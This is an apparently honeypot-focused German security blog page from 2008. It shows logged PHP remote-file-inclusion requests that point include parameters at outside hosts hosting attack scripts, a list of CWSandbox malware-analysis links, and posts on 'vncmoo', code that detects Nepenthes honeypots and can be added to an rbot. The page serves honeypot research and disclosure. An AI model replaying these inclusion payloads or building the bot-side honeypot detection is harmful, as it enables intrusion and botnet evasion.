"GET ///index.php?option=com_custompages=%A7ionid=&id=&mosConfig_absolute_path=http://piauibrlink.web44.net/test.txt??? HTTP/1.1
"GET /contact.php?cal_dir=http://www.joerg-krug.de/vnc/test.txt??? HTTP/1.1
GET /doc/contact.php?cal_dir=http://www.joerg-krug.de/vnc/test.txt??? HTTP/1.1
"GET //index.php?name=PNphpBB2&file=viewtopic&t=8/viewtopic.php?p=15&sid=be4c914eb746ac7c96beea717fdfc692/&highlight=%2527.include($_GET[a]),exit.%2527&a=http://www.joerg-krug.de/vnc/test.txt??? HTTP/1.1
GET /doc//index.php?name=PNphpBB2&file=viewtopic&t=8/viewtopic.php?p=15&sid=be4c914eb746ac7c96beea717fdfc692/&highlight=%2527.include($_GET[a]),exit.%2527&a=http://www.joerg-krug.de/vnc/test.txt??? HTTP/1.1
"GET /doc/about.php?option=com_custompages&cpage=http://www.joerg-krug.de/vnc/test.txt??? HTTP/1.1
"GET /about.php?option=com_custompages&cpage=http://www.joerg-krug.de/vnc/test.txt??? HTTP/1.1
"GET ////index.php?option=com_custompages=%A7ionid=&id=&mosConfig_absolute_path=http://dannaoui.com/Mambo/images/img/paddy?? HTTP/1.1
"GET ////index.php?option=com_custompages=%A7ionid=&id=&mosConfig_absolute_path=http://dannaoui.com/Mambo/images/img/paddy?? HTTP/1.1
"GET ////index.php?option=com_custompages=%A7ionid=&id=&mosConfig_absolute_path=http://dannaoui.com/Mambo/images/img/paddy?? HTTP/1.1
einige sollten mal ihre scripte fixen ;)die entsprechenden dateien auf www.joerg-krug.de wurden bereits entfernt. die anderen habe ich nicht ausprobiert.
wünsch spässkes. :)
Saturday, June 14. 2008
[sandbox]CWSandbox - aktuelle Liste
Die aktuelle Liste der Anfragen, die durch einen fehlerhaften link in den CWSandbox emails an mich gestellt wurden,
könnt ihr ab sofort hier finden:
CWSandbox Liste
Die Liste enthält alle Anfragen mit korrigierten URLs.
könnt ihr ab sofort hier finden:
CWSandbox Liste
Die Liste enthält alle Anfragen mit korrigierten URLs.
Sunday, June 8. 2008
[sandbox]CWS linkliste
dank honeyd, yourwebinterface.comy,grep und awk habe ich eine liste mit den links erstellt,
die bisher bei mir eingeschlagen sind.
die bisher bei mir eingeschlagen sind.
http://cwsandbox.org/?page=samdet&id=175933&password=zzdwm http://cwsandbox.org/?page=samdet&id=175933&password=zzdwm http://cwsandbox.org/?page=samdet&id=175972&password=ekect http://cwsandbox.org/?page=samdet&id=175972&password=ekect http://cwsandbox.org/?page=samdet&id=176052&password=kdors http://cwsandbox.org/?page=samdet&id=176089&password=pfxcq http://cwsandbox.org/?page=samdet&id=176995&password=pqboe http://cwsandbox.org/?page=samdet&id=177228&password=mjouj http://cwsandbox.org/?page=samdet&id=177228&password=mjouj http://cwsandbox.org/?page=samdet&id=176473&password=zrwiz http://cwsandbox.org/?page=samdet&id=174432&password=exehr http://cwsandbox.org/?page=samdet&id=176947&password=zfcfl http://cwsandbox.org/?page=samdet&id=176947&password=zfcfl http://cwsandbox.org/?page=samdet&id=177367&password=ssiwk http://cwsandbox.org/?page=samdet&id=177071&password=deuyg http://cwsandbox.org/?page=samdet&id=176965&password=bkqfa http://cwsandbox.org/?page=samdet&id=177541&password=wkfhe http://cwsandbox.org/?page=samdet&id=176908&password=rkbdi http://cwsandbox.org/?page=samdet&id=176908&password=rkbdi http://cwsandbox.org/?page=samdet&id=177158&password=kulfn http://cwsandbox.org/?page=samdet&id=176995&password=pqboe http://cwsandbox.org/?page=samdet&id=177665&password=ecwnw http://cwsandbox.org/?page=samdet&id=177564&password=aoytr http://cwsandbox.org/?page=samdet&id=177564&password=aoytr http://cwsandbox.org/?page=samdet&id=177835&password=ucalk http://cwsandbox.org/?page=samdet&id=177829&password=uhxea http://cwsandbox.org/?page=samdet&id=177748&password=jotnx http://cwsandbox.org/?page=samdet&id=177907&password=admlf http://cwsandbox.org/?page=samdet&id=177866&password=seiid http://cwsandbox.org/?page=samdet&id=177925&password=ohjnr http://cwsandbox.org/?page=samdet&id=178078&password=ksfne http://cwsandbox.org/?page=samdet&id=178078&password=ksfne http://cwsandbox.org/?page=samdet&id=174413&password=iemhx http://cwsandbox.org/?page=samdet&id=176858&password=bmvjo http://cwsandbox.org/?page=samdet&id=178160&password=hejah http://cwsandbox.org/?page=samdet&id=178246&password=eixcf http://cwsandbox.org/?page=samdet&id=177877&password=zpazz http://cwsandbox.org/?page=samdet&id=177877&password=zpazz http://cwsandbox.org/?page=samdet&id=177858&password=gufsf http://cwsandbox.org/?page=samdet&id=176858&password=bmvjo http://cwsandbox.org/?page=samdet&id=178304&password=bafcp http://cwsandbox.org/?page=samdet&id=175277&password=fgbjk http://cwsandbox.org/?page=samdet&id=178304&password=bafcp http://cwsandbox.org/?page=samdet&id=178052&password=fnqgq http://cwsandbox.org/?page=samdet&id=177877&password=zpazz http://cwsandbox.org/?page=samdet&id=177877&password=zpazz http://cwsandbox.org/?page=samdet&id=177877&password=zpazz http://cwsandbox.org/?page=samdet&id=177877&password=zpazz http://cwsandbox.org/?page=samdet&id=177858&password=gufsf http://cwsandbox.org/?page=samdet&id=177858&password=gufsf http://cwsandbox.org/?page=samdet&id=177877&password=zpazz http://cwsandbox.org/?page=samdet&id=177764&password=obcet http://cwsandbox.org/?page=samdet&id=177558&password=cioox http://cwsandbox.org/?page=samdet&id=177558&password=cioox http://cwsandbox.org/?page=samdet&id=175276&password=eycku http://cwsandbox.org/?page=samdet&id=177042&password=fqnff http://cwsandbox.org/?page=samdet&id=176205&password=jacga http://cwsandbox.org/?page=samdet&id=177321&password=trgqc http://cwsandbox.org/?page=samdet&id=177507&password=ttnrj http://cwsandbox.org/?page=samdet&id=174363&password=zksal http://cwsandbox.org/?page=samdet&id=174709&password=szubj http://cwsandbox.org/?page=samdet&id=177055&password=cfwta http://cwsandbox.org/?page=samdet&id=169979&password=nnqis http://cwsandbox.org/?page=samdet&id=169979&password=nnqis http://cwsandbox.org/?page=samdet&id=108640&password=edjgq http://cwsandbox.org/?page=samdet&id=108640&password=edjgq http://cwsandbox.org/?page=samdet&id=118355&password=obeqs http://cwsandbox.org/?page=samdet&id=118355&password=obeqs http://cwsandbox.org/?page=samdet&id=118355&password=obeqs http://cwsandbox.org/?page=samdet&id=137678&password=rqqgz http://cwsandbox.org/?page=samdet&id=122380&password=xzxom http://cwsandbox.org/?page=samdet&id=127219&password=fduxz http://cwsandbox.org/?page=samdet&id=137678&password=rqqgz http://cwsandbox.org/?page=samdet&id=157645&password=qtyax http://cwsandbox.org/?page=samdet&id=157645&password=qtyax http://cwsandbox.org/?page=samdet&id=150896&password=engsr http://cwsandbox.org/?page=samdet&id=173136&password=xffyi http://cwsandbox.org/?page=samdet&id=167703&password=oinjc http://cwsandbox.org/?page=samdet&id=169979&password=nnqis http://cwsandbox.org/?page=samdet&id=169979&password=nnqis http://cwsandbox.org/?page=samdet&id=169979&password=nnqis http://cwsandbox.org/?page=samdet&id=178433&password=foout http://cwsandbox.org/?page=samdet&id=178433&password=foout http://cwsandbox.org/?page=samdet&id=178433&password=foout http://cwsandbox.org/?page=samdet&id=178767&password=mwmgb http://cwsandbox.org/?page=samdet&id=178990&password=klhcm http://cwsandbox.org/?page=samdet&id=178990&password=klhcm http://cwsandbox.org/?page=samdet&id=167531&password=yeeuc http://cwsandbox.org/?page=samdet&id=178466&password=jkbhm http://cwsandbox.org/?page=samdet&id=178466&password=jkbhm http://cwsandbox.org/?page=samdet&id=179012&password=lqizd http://cwsandbox.org/?page=samdet&id=179012&password=lqizd http://cwsandbox.org/?page=samdet&id=179012&password=lqizd http://cwsandbox.org/?page=samdet&id=179012&password=lqizd http://cwsandbox.org/?page=samdet&id=178466&password=jkbhm http://cwsandbox.org/?page=samdet&id=179019&password=zkmel http://cwsandbox.org/?page=samdet&id=179019&password=zkmel http://cwsandbox.org/?page=samdet&id=79285&password=bvuea http://cwsandbox.org/?page=samdet&id=79285&password=bvuea http://cwsandbox.org/?page=samdet&id=179069&password=nlkxj http://cwsandbox.org/?page=samdet&id=178506&password=clobf http://cwsandbox.org/?page=samdet&id=178506&password=clobf http://cwsandbox.org/?page=samdet&id=178466&password=jkbhm http://cwsandbox.org/?page=samdet&id=174129&password=baffn http://cwsandbox.org/?page=samdet&id=174129&password=baffn http://cwsandbox.org/?page=samdet&id=179414&password=kmxau http://cwsandbox.org/?page=samdet&id=179416&password=wttwn http://cwsandbox.org/?page=samdet&id=108640&password=edjgq http://cwsandbox.org/?page=samdet&id=89923&password=qgydv http://cwsandbox.org/?page=samdet&id=89923&password=qgydv http://cwsandbox.org/?page=samdet&id=179184&password=etgpp http://cwsandbox.org/?page=samdet&id=179184&password=etgpp http://cwsandbox.org/?page=samdet&id=179184&password=etgpp http://cwsandbox.org/?page=samdet&id=179184&password=etgpp http://cwsandbox.org/?page=samdet&id=179594&password=smycp http://cwsandbox.org/?page=samdet&id=179594&password=smycp http://cwsandbox.org/?page=samdet&id=79377&password=wpzyr http://cwsandbox.org/?page=samdet&id=79377&password=wpzyr
Monday, April 7. 2008
[nepenthes] vncmoo final
nachdem ich ja in [nepenthes] vncmoo beschrieben habe,
war der ansatz eigentlich zu versuchen FOOBAR-MUTTER in den empfangenen daten zu finden.
dies ist jedoch nicht wirklich nötig.
es reicht durchaus festzustellen ,dass wir stage4 erreicht haben,
wenn wir die vier empfangenden bytes testen.
wir erwarten 00 00 00 00.
ich habe das mal hinzugefügt und denke, ich werds mal darauf beruhen lassen.
den src könnt ihr euch auf grospolina.org anschauen:
quellcode-dateien:
vncmoo.cpp
vncmoo.h
ihr müsst zum implementieren in einen rbot natürlich noch ein paar andere projektquelldateien anpassen. könnt ihr doch?
wie auch immer, ihr solltet trotzdem den hostnamen, wie im vorigen artikel beschrieben, ändern,
falls ihr nepenthes am laufen habt und das vuln-realvnc modul nutzt.
viel spass beim rumspielen
:)
war der ansatz eigentlich zu versuchen FOOBAR-MUTTER in den empfangenen daten zu finden.
dies ist jedoch nicht wirklich nötig.
es reicht durchaus festzustellen ,dass wir stage4 erreicht haben,
wenn wir die vier empfangenden bytes testen.
wir erwarten 00 00 00 00.
ich habe das mal hinzugefügt und denke, ich werds mal darauf beruhen lassen.
den src könnt ihr euch auf grospolina.org anschauen:
quellcode-dateien:
vncmoo.cpp
vncmoo.h
ihr müsst zum implementieren in einen rbot natürlich noch ein paar andere projektquelldateien anpassen. könnt ihr doch?
wie auch immer, ihr solltet trotzdem den hostnamen, wie im vorigen artikel beschrieben, ändern,
falls ihr nepenthes am laufen habt und das vuln-realvnc modul nutzt.
viel spass beim rumspielen
:)
Monday, March 24. 2008
[nepenthes] vncmoo
Wer einmal google nach FOOBAR-MUTTER ausschau halten lässt,
wird sehen, wie einfach es ist, das vuln-realvnc modul und damit nepenthes auf einem rechner nachzuweisen.
Es ist leicht möglich dieses zB. in einen rbot einzubauen.
Das auf ryan gepostete material wird den bot crashen, es war nur eine idee
und es war nicht geplant irgendwelchen skiddies damit etwas brauchbares in die finger zu geben.
Wer jedoch wirklich ausprobieren will, ob sein nepenthes honeypot dadurch entdeckt werden kann,
der kann sich auf offensivecomputing.net den rbotsource runterladen,
diesen compilen und ein vncmoo modul hinzufügen.
Ich werde bestimmt nicht hier erzählen, wie man das im einzelnen macht.
Ich möchte nur darauf hinweisen, dass es funktioniert.
...und jeder, der nicht entdeckt werden möchte, sollte sich einmal gedanken darum machen,
ob er dieses (vuln-realvnc) modul wirklich braucht oder ob es jemals einen wurm bekommen hat.
wird sehen, wie einfach es ist, das vuln-realvnc modul und damit nepenthes auf einem rechner nachzuweisen.
Es ist leicht möglich dieses zB. in einen rbot einzubauen.
Das auf ryan gepostete material wird den bot crashen, es war nur eine idee
und es war nicht geplant irgendwelchen skiddies damit etwas brauchbares in die finger zu geben.
Wer jedoch wirklich ausprobieren will, ob sein nepenthes honeypot dadurch entdeckt werden kann,
der kann sich auf offensivecomputing.net den rbotsource runterladen,
diesen compilen und ein vncmoo modul hinzufügen.
Ich werde bestimmt nicht hier erzählen, wie man das im einzelnen macht.
Ich möchte nur darauf hinweisen, dass es funktioniert.
...und jeder, der nicht entdeckt werden möchte, sollte sich einmal gedanken darum machen,
ob er dieses (vuln-realvnc) modul wirklich braucht oder ob es jemals einen wurm bekommen hat.
« previous page
(Page 3 of 3, totaling 26 entries)
Pages
katsumi's page
GROSPOLINA.ORG
Glastopf Webhoneypot
Glastopf Projektseite
Glastopf Subversion/Trac
Glastopf @ grospolina
GROSPOLINA.ORG
Glastopf Webhoneypot
Glastopf Projektseite
Glastopf Subversion/Trac
Glastopf @ grospolina
Links
gut verglast ist ....
GLASBLOG
zeroq's blog:
VIRUSBLOG
Jon.Oberheide's blog:
jon.oberheide.org
offensivecomputing.net:
kishfellow's blog
malware&reversing
Zairon's blog
Bharath m narayan's blog:
Bharath's security blog
botnetz.com:
BOTNETZ
tho's blog:
HoneyBlog
Perforin's virii.lu:
virii.lu
The Outside Of The Asylum:
ab in die anstalt
GLASBLOG
zeroq's blog:
VIRUSBLOG
Jon.Oberheide's blog:
jon.oberheide.org
offensivecomputing.net:
kishfellow's blog
malware&reversing
Zairon's blog
Bharath m narayan's blog:
Bharath's security blog
botnetz.com:
BOTNETZ
tho's blog:
HoneyBlog
Perforin's virii.lu:
virii.lu
The Outside Of The Asylum:
ab in die anstalt
Quicksearch
Categories
Archives
Letzte Goggele Suche
"© 2011 Powered by Subrion CMS"
"© 2011 Powered by Subrion CMS"
4521569111
dlsldododl
d0rk new 2011
ipays exploit
ipays - exploit
pbot dragonfly irc.byroe
Powered by Ollance Member Login Script
"prefix"=>"bodao","maxrand"=>"8",
intitle:© 2011 Powered by Subrion CMS
sandbox 2304 fehler
powered by zoopeer
powered by zoopeer
remote-exploit sathyajith
irc.kamtiez.web.id pbot shot|
irc.cyberirc.org bot
213.251.169.156 pbot
in my world theres no left right grospolina
"Powered By Zoopeer"
"Powered By Zoopeer"
mail.indoserver.web.id
grospolina
"powered by zoopeer"
yourwebinterface.com
"@+#+irc.ascnet.biz"
Threaded Mode | Linear Mode powered by zoopeer
Threaded Mode | Linear Mode powered by zoopeer
Threaded Mode | Linear Mode powered by zoopeer
Threaded Mode | Linear Mode powered by zoopeer
verfassung und verfassungsvertrag guttenberg
dumme musikindustrie
"© 2011 Powered by Subrion CMS"
4521569111
dlsldododl
d0rk new 2011
ipays exploit
ipays - exploit
pbot dragonfly irc.byroe
Powered by Ollance Member Login Script
"prefix"=>"bodao","maxrand"=>"8",
intitle:© 2011 Powered by Subrion CMS
sandbox 2304 fehler
powered by zoopeer
powered by zoopeer
remote-exploit sathyajith
irc.kamtiez.web.id pbot shot|
irc.cyberirc.org bot
213.251.169.156 pbot
in my world theres no left right grospolina
"Powered By Zoopeer"
"Powered By Zoopeer"
mail.indoserver.web.id
grospolina
"powered by zoopeer"
yourwebinterface.com
"@+#+irc.ascnet.biz"
Threaded Mode | Linear Mode powered by zoopeer
Threaded Mode | Linear Mode powered by zoopeer
Threaded Mode | Linear Mode powered by zoopeer
Threaded Mode | Linear Mode powered by zoopeer
verfassung und verfassungsvertrag guttenberg
dumme musikindustrie
Syndicate This Blog
Exploit-db, feed me!
Glasfeed
No RSS/OPML feed selected